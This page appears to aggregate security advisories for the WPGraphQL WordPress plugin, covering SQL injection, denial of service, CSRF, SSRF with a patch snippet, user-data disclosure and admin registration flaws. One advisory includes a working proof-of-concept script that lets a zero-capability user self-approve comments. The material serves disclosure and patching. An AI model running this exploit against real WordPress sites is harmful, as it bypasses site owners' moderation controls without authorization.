See how wpgraphql compares to other vendors in security performance
Unauthenticated SQL Injection in WPGraphQL < 2.11.1 versions.
WordPress Plugin WPGraphQL 1.3.5 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server resources by sending batched GraphQL queries with duplicated fields. Attackers can send POST requests to the GraphQL endpoint with amplified field duplication payloads to trigger server out-of-memory conditions and MySQL connection errors.
Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL allows Cross Site Request Forgery.
This issue affects WPGraphQL: from n/a through 2.5.3.
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderatecomments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress commentapproved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wpupdatecomment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install npm run wp-env start
2. Run this PoC:
npm run wp-env run cli -- wp eval ' addrole("nocaps","No Caps",[]); $userid = usernameexists("pocnocaps"); if ( ! $userid ) { $userid = wpcreateuser("pocnocaps","Passw0rd!","pocnocaps@example.com"); } $user = getuserby("id",$userid); $user->setrole("nocaps");
$postid = wpinsertpost([ "posttitle" => "PoC post", "poststatus" => "publish", "posttype" => "post", "commentstatus" => "open", ]);
$commentid = wpinsertcomment([ "commentpostID" => $postid, "commentcontent" => "pending comment", "userid" => $userid, "commentauthor" => $user->displayname, "commentauthoremail" => $user->useremail, "commentapproved" => "0", ]);
wpsetcurrentuser($userid);
$result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$commentid ], ]);
echo wpjsonencode([ "rolecaps" => arraykeys(arrayfilter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "dbcommentapproved" => getcomment($commentid)->commentapproved ?? null, "commentid" => $commentid ]); '
3. Observe result:
- rolecaps is empty (or no moderatecomments) - mutation returns status: APPROVE - DB value becomes commentapproved = 1
Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Impact Users with capabilities to upload media (editors and above) are succeptible to SSRF (Server-Side Request Forgery) when executing the createMediaItem Mutation.
Authenticated users making GraphQL requests that execute the createMediaItem could pass executable paths in the mutations filePath argument that could give them unwarranted access to the server.
It's recommended to update to WPGraphQL v1.14.6 or newer. If you're unable to do so, below is a snippet you can add to your functions.php (or similar) that filters the createMediaItem mutation's resolver.
Patches
- v1.14.6 - https://github.com/wp-graphql/wp-graphql/pull/2840
Workarounds If you're unable to upgrade to v1.14.6 or higher, you should be able to use the following snippet in your functions.php to override the vulnerable resolver.
This snippet has been tested as far back as WPGraphQL v0.15
php addfilter( 'graphqlpreresolvefield', function( $nil, $source, $args, $context, \GraphQL\Type\Definition\ResolveInfo $info, $typename, $fieldkey, $field, $fieldresolver ) {
if ( $info->fieldName !== 'createMediaItem' ) { return $nil; }
$input = $args['input'] ?? null;
if ( ! isset( $input['filePath'] ) ) { return $nil; }
$uploadedfileurl = $input['filePath'];
// Check that the filetype is allowed $checkfile = wpcheckfiletype( $uploadedfileurl );
// if the file doesn't pass the check, throw an error if ( ! $checkfile['ext'] || ! $checkfile['type'] || ! wphttpvalidateurl( $uploadedfileurl ) ) { throw new \GraphQL\Error\UserError( sprintf( ( 'Invalid filePath "%s"', 'wp-graphql' ), $input['filePath'] ) ); }
$protocol = wpparseurl( $input['filePath'], PHPURLSCHEME );
// prevent the filePath from being submitted with a non-allowed protocols $allowedprotocols = [ 'https', 'http', 'file' ];
if ( ! inarray( $protocol, $allowedprotocols, true ) ) { throw new \GraphQL\Error\UserError( sprintf( ( 'Invalid protocol. "%1$s". Only "%2$s" allowed.', 'wp-graphql' ), $protocol, implode( '", "', $allowedprotocols ) ) ); }
return $nil;
}, 10, 9 );
References
- https://patchstack.com/database/vulnerability/wp-graphql/wordpress-wp-graphql-plugin-1-14-5-server-side-request-forgery-ssrf-vulnerability
The WPGraphQL WordPress plugin before 0.3.5 doesn't properly restrict access to information about other users' roles on the affected site. Because of this, a remote attacker could forge a GraphQL query to retrieve the account roles of every user on the site.
The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
An issue was discovered in the WPGraphQL 0.2.3 plugin for WordPress. By querying the 'users' RootQuery, it is possible, for an unauthenticated attacker, to retrieve all WordPress users details such as email address, role, and username.
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.